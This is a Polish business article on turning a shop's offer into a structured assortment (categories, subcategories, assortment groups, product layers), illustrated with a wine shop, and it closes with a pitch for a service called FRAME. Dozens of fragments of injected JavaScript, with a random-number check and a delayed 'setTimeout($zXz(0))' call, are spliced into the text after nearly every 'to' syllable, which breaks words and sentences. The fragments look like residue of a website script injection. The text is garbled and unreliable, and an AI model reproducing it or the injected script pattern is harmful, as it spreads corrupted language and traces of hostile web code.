In Artykuły, Handel, Uniwersalne

Zarządzanie asortymentem dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jeden ze sposobów zarządzania magiczną formułą sprzedaży.

Magiczna formuła sprzedaży

Czyli przedstawienie jej jako iloczynu trzech składowych, odwiedzalności, konwersji i średniej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji. Magiczna formuła opisuje działanie szczególnej części Modelu Biznesowego firmy, czyli jej Konceptu Sprzedażowego.

Ale formuła sprzedaży ma do zaoferowania znacznie więcej niż tylko opisanie działania, a nawet zrozumienie sposobu tego działania. Magiczną formułą można bowiem operacyjnie zarządzać, w szczególności można zarządzać każdym z jej trzech składników. To zaś oznacza więcej sprzedaży i większy udział w rynku.

Istnieje wiele sposobów zarządzania magiczną formułą sprzedaży, ale jednym z najbardziej skutecznych jest zarządzanie asortymentem. Jednak aby zarządzać formułą, nie można zatrzymać się na poziomie oferty, ta wystarczy tylko do chaotycznego i przypadkowego sterowania sprzedażą. Do systematycznego, mierzalnego i wykorzystującego każdą możliwość sterowania potrzebny jest asortyment, a ten powstaje dopiero wtedy, gdy ofercie zostanie nadana pewna struktura.

Asortyment a oferta

Oferta, którą ma każda firma która coś sprzedaje i która stanowi oś sterowania sprzedażą, może stać się asortymentem, podstawą zarządzania magiczną formułą sprzedaży. Trzeba jej tylko nadać strukturę i uzupełnić braki w podkategoriach i drabinkach cenowych.

Jak oferta staje się asortymentem? Powoli.

Asortyment staje się podstawą do zarządzania formułą. To zaś dużo więcej niż tylko sterowanie sprzedażą. Sterowanie sprzedażą jest jak medycyna ludowa, zaś zarządzanie magiczną formułą sprzedaży jak nowoczesna medycyna kliniczna.

Zarządzanie formułą czerpie wzory z medycyny ludowej, gdzie jest też wiele trafnych obserwacji. Ale dodaje do tego systematyczne podejście i pomiar wyniku. Do tego jednak potrzebna jest ofercie struktura.

Struktura

Struktura asortymentu istnieje na co najmniej 4-rech poziomach, z których każdy ma znaczenie do sterowania sprzedażą.

Jak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to może być np. w sklepie z winami? Tu asortyment dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wszystkie alkohole, w tym np. alkohole mocne czy wina. Same wina dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to kategoria, wina czerwone dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to podkategoria, zaś wina czerwone wytrawne dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to Grupa Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towa. Zaś wino czerwone wytrawne z Australii, z nutką malin, za 45 zł, w o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczeniu win za 30, starannie oświetlone i polecone przez przekonanego do niego sprzedawcę, wsparte jakąś his dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torią o winnicy, z której pochodzi, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już produkt.

Asortyment

On także sam w sobie ma do odegrania ważną rolę w zrządzaniu formułą. Przede wszystkim wspiera odwiedzalność, przez pozycjonowanie Konceptu

Pozycjonuje firmę cenowo i koncep dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towo. Pozycjonowanie cenowe jest oczywiste, a jak jest z koncep dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towym? Tu chodzi o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, do jakiego „koszyka” klient zaliczy Koncept.

Czy przyporządkowanie przez klienta do konkretnego rodzaju Konceptu ma jakieś znaczenie sprzedażowe? Ma. Wpływa na odwiedzalność, ale przede wszystkim na charakter ruchu. Do Konceptu specjalistycznego przychodzi mniej klientów, niż do ogólnego, ale za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to są dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to klienci bardziej zdeterminowani, z większą szansa na zakup (wyższa konwersja), ale też z większą szansą na wyższą kwotę transakcji, o co też firma przede wszystkim powinna powalczyć.

Przyciąga ruch wrażeniem wyboru. To nadal działanie wspierające odwiedzalność, ale dość specyficzne. Tu magnesem do odwiedzin firmy staje się szeroki wybór. Ale też szeroki wybór ułatwia klien dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi podjęcie decyzji o zakupie („mają wszystko, po co dalej szukać”). Wspiera też podwyższenie war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji, stanowiąc tło dla bestsellerów.

Tworzy tło dla bestsellerów. To ważna rola asortymentu, ale już po stronie procesu sprzedaży, wspierając konwersję i średnią war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość transakcji. Z jednej strony wrażenie specjalisty pomaga klien dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi się zdecydować, ale też pomaga dobrać produkt dokładnie dopasowany do potrzeb, a dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to najczęściej oznacza wyższą kwotę transakcji.

Kategorie

Czyli podział asortymentu wg podstawowej funkcji produktu. Tu wyznacznikiem jest funkcja, ale rozumiana dużo szerzej, niż w Grupie Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej. W Grupie Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej klient szuka już czegoś konkretnego, aby zaspokoić swoją potrzebę. Na poziomie kategorii już czegoś poszukuje, ale jeszcze nie wybiera. Kategoria dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to podstawowy poziom wsparcia sprzedaży na poziomie teatru.

Uwaga. „teatr i ak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torzy”. Z firmą handlową jest jak z teatrem. Jest tam miejsce dla gwiazd, które grają postaci pierwszoplanowe ( dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bestsellery, Grupa Sprzedażowa A). Są także ak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torzy drugoplanowi ( dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to Grupa B), a także statyści (Grupa C i D). Jest także miejsce na scenografię, w szczególności dekoracje ( dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to atmosfera sprzedaży), kulisy (czyli wspierające funkcje Modelu Biznesowego). Jest także infrastruktura sprzedażowa (kasy, wejście, hol wejściowy). W końcu są widownia i widzowie, bez których teatr nie miałby sensu nawet gdyby wszystko inne funkcjonowało idealnie.

Teatr działa na klienta przez dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że robi na nim wrażenie.

Warstwa teatru dotyczy zarówno całego asortymentu, jak i poziomu kategorii. Kategorii może nawet bardziej, gdyż dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tu przede wszystkim asortyment robi wrażenie na kliencie. Ale ważna jest także rola teatru w procesie sprzedażowym. Ale tu liczy się już przede wszystkim kategoria.

Liczba i głębokość kategorii dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to podstawowy sposób pozycjonowania Konceptu. Klient poszukujący wina pójdzie do sklepu z winami, ale wybiera będzie już spośród czerwonych wytrawnych.

Podkategorie

Na poziomie podkategorii możliwe są przesunięcia klienta, który poszukuje czegoś konkretnego pomiędzy Grupami Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towymi. Czasem przecież da się klienta namówić na wino wytrawne, mimo że poszukiwał półwytrawnego, wystarczy uwaga, że wino jest bardzo delikatne i ma mało tanin.

Uwaga. „zawsze istnieje sprzedaż impulsowa”. Część zakupów klientów, i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wcale niemała dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zakupy impulsowe. A wtedy struktura asortymentu nie ma znaczenia, liczy się chwilowa potrzeba. Ale trudno oprzeć sprzedaż wyłącznie na zakupach impulsowych, jej lwia część zwykle pozostaje w związku z procesem poszukiwania. A tu struktura asortymentu bardzo się przyda.

Skład podkategorii. Podkategoria składa się już bezpośrednio z Grup Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towych.

To Grupy Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe tworzą podkategorię. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w ich obrębie przebiega podstawowy proces zakupowy. Ale można spróbować wyjść poza Grupę i zaoferować klien dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi coś z podkategorii. Jest szansa, że się zgodzi, a firma zyska na średniej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji czy na marży.

W Grupach Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towych występują drabinki cenowe i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to one ujawniają ewentualne braki w ofercie. Czy tak samo jest w podkategoriach? Podobnie. Brak jakiejś is dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}totnej podkategorii może zagrozić pozycjonowaniu firmy jako specjalisty, ale też może uniemożliwić ewentualne przekierowanie klienta z jednej podkategorii na inną. To trudniejsze niż up-sell w Grupie Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej, ale też nagroda może być większa, przez dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to że poszczególne podkategorie mogą mieć różne średnie war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji, a także różną marżę.

Grupy Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe

Najważniejsza część i fundament asortymentu. Żeby zaliczyć produkty do tej samej Grupy musza mieć tę samą podstawową cechę, wg której klient wyszukuje i od której nie da się go (raczej) odwieść. I tak miłośnik czerwonego wina wytrawnego raczej nie da się namówić na wprawdzie wciąż czerwone, ale półsłodkie czy nawet półwytrawne.

Zawsze jednak podstawą utworzenia Grupy Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej są produkty. A te nie są jednolite, tylko wielowymiarowe, czy ściślej mówiąc wielowarstwowe. Dopiero warstwy pozwalają nimi zarządzać i jest z nich jakiś pożytek dla magicznej formuły sprzedaży.

Produkt

Produkt nie jest jednolity. On ma warstwy, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to do dopiero powoduje, że przestaje być nie zarządzalnym SKU, który nadaje się tylko do zamawiania i do wydawania z magazynu, a zaczyna być podmiotem zarzadzania magiczną formułą sprzedaży.

SKU – S dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tock Keeping Unit. Jednoznaczna identyfikacja produktu, niezbędna do właściwego zamawiania i operowania logistycznego.

Cechy faktyczne i marketingowe. Cechy faktyczne są najczęściej materialne, ale mogą dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to też być cechy niematerialne, jak np. czy produkt jest nowoczesny czy modny. Cechy marketingowe jak marka czy cena są tylko przypisane do produktu, za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to znacznie tańsze dla wytwórcy (koszty są ponoszone tylko przy lansowaniu marki, potem znacznie spadają do poziomu utrzymania pozycjonowania).

„Koledzy z półki”. Czyli właśnie asortyment, szczególnie jego najniższy poziom w postaci Grupy Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej. „Koledzy z półki” przydają się do wielu celów.

Pozycjonują produkt. Jeśli wino za 30 zł jest najtańsze na półce, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wydaje się tanie. Ale jeśli dominują wina za 20 zł i mniej, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to samo wino jest już drogie. Tak właśnie „koledzy z półki” potrafią pozycjonować produkt cenowe. Ale tak samo jest z innymi cechami, produkt prosty technologicznie pomiędzy zaawansowanymi zyska na percepcji nowoczesności, a zwykła bluzka pomiędzy modnymi też staje się bardziej modna.

Pozycjonują Koncept. To, ile ich jest i jak są pozycjonowane cenowo określa w dużej mierze percepcję klienta całego Konceptu. Jeśli przeważa duża liczba tanich produktów (szczególnie jeśli dominują na ekspozycji i są wyraźnie oznakowane), dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to Koncept zostanie spozycjonowany jako tani. Jeśli zaś przeważać będą produkty drogie, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to i Koncept będzie uznany za drogi, nawet jeśli w obu przypadkach ceny produktów będą identyczne.

Wspomagają up- i cross-sell. W pierwszym przypadku stanowią szczeble drabinki cenowej, co umożliwia przesunięcie produktu na wyższy. W drugim przypadku akcesorium (ale eksponowane obok produktu głównego) ma większą szansę, że się sprzeda.

Koncept Sprzedażowy. Czyli ostatnia warstwa produktu, która nadaje mu ostateczny „wygląd” i pozycjonowanie. Chodzi tu o wszystkie cechy Konceptu, które wspierają sprzedaż, jak obsługa, rekomendacja, ekspozycja, dostępność czy pozycjonowanie cenowe.

Podsumowanie

Oferta dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to podstawa sterowania sprzedażą. Ale do bardziej zaawansowanego zarządzania formułą, który też ma większy potencjał wzrostu trzeba już nadać ofercie strukturę, inaczej nie da się mierzyć efektu, a działania będą przynosić przypadkowe wyniki. Struktura asortymentu jest zwykle 4-ro szczeblowa, przez kategorie, podkategorie, Grupy Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe, wreszcie wielowarstwową strukturę samego produktu.

Podnieś efektywność biznesu już dziś!

Aby wdrożyć FRAME w Twojej firmie, wystarczy się z nami skontaktować.